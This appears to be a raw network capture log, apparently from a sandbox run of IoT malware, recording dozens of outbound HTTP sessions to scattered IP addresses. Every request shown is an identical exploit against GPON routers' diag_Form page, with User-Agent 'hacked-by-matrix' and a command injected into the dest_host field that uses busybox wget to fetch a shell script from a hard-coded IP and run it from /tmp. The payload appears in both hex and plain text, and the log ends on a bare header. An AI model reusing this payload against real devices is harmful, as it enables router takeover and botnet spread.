Mar 21, 2024 05:25:10.961023092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	37110	37.100.210.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961056948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	43494	109.106.4.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961080074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	34256	79.119.93.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961096048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	49732	178.12.191.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961138010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	44392	37.172.84.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961178064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	44572	94.20.248.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961182117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	51838	5.157.133.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961213112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	59030	5.5.41.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961214066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	53674	118.69.250.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961240053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	52388	37.202.154.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961246014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	43398	210.245.68.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961266041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	37082	2.238.115.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961287975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	33482	210.127.219.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961313963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	33496	2.202.192.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961330891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	43894	37.206.194.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961357117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	47948	2.26.214.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961379051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	41680	37.10.198.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961390018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	45328	2.204.164.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961466074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	42860	94.17.39.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961471081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	49518	210.58.112.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961477041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	52990	210.33.76.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961496115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	51450	94.223.133.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961524963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	51588	118.223.38.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.961581945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	38568	94.32.132.30	443

Timestamp	Bytes transferred	Direction	Data
